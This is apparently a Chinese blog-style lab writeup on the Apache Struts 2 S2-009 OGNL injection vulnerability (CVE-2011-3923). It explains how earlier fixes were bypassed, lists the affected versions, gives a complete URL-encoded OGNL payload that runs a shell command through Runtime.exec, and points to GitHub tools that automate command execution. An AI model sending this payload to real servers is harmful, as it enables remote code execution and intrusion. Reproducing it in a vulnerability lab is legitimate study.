前言
Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构
1、漏洞描述☕️
这个漏洞跟s2-003 s2-005 属于一套的,Struts2对s2-003的修复方法是禁止#
号,于是s2-005通过使用编码\u0023
或\43
来绕过;于是Struts2对s2-005的修复方法是禁止\
等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example
,这个参数将进入OGNL
的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/HelloWorld.acton?example=&(example)('xxx')=1
的方法来执行它,从而绕过官方对#
、\
等特殊字符的防护,造成任意代码执行
2、影响版本☕️
- CVE-2011-3923
2.1.0 - 2.3.1.1
3、漏洞复现☕️
- 肯定手法与工具都要啊
第一种操作
1、搭个环境,访问靶场
2、抓包,访问触发漏洞的地址
/ajax/example5.action
3、漏洞触发,执行ls /tmp
命令
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%20/tmp%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
可根据需要执行相应的命令
第二种操作
工具可上GitHub找,直接输入网站首页的URL,
发现漏洞,直接进行命令执行
满足!!
4、漏洞修复☕️
升级版本
具体原理等搞会Java再继续更😭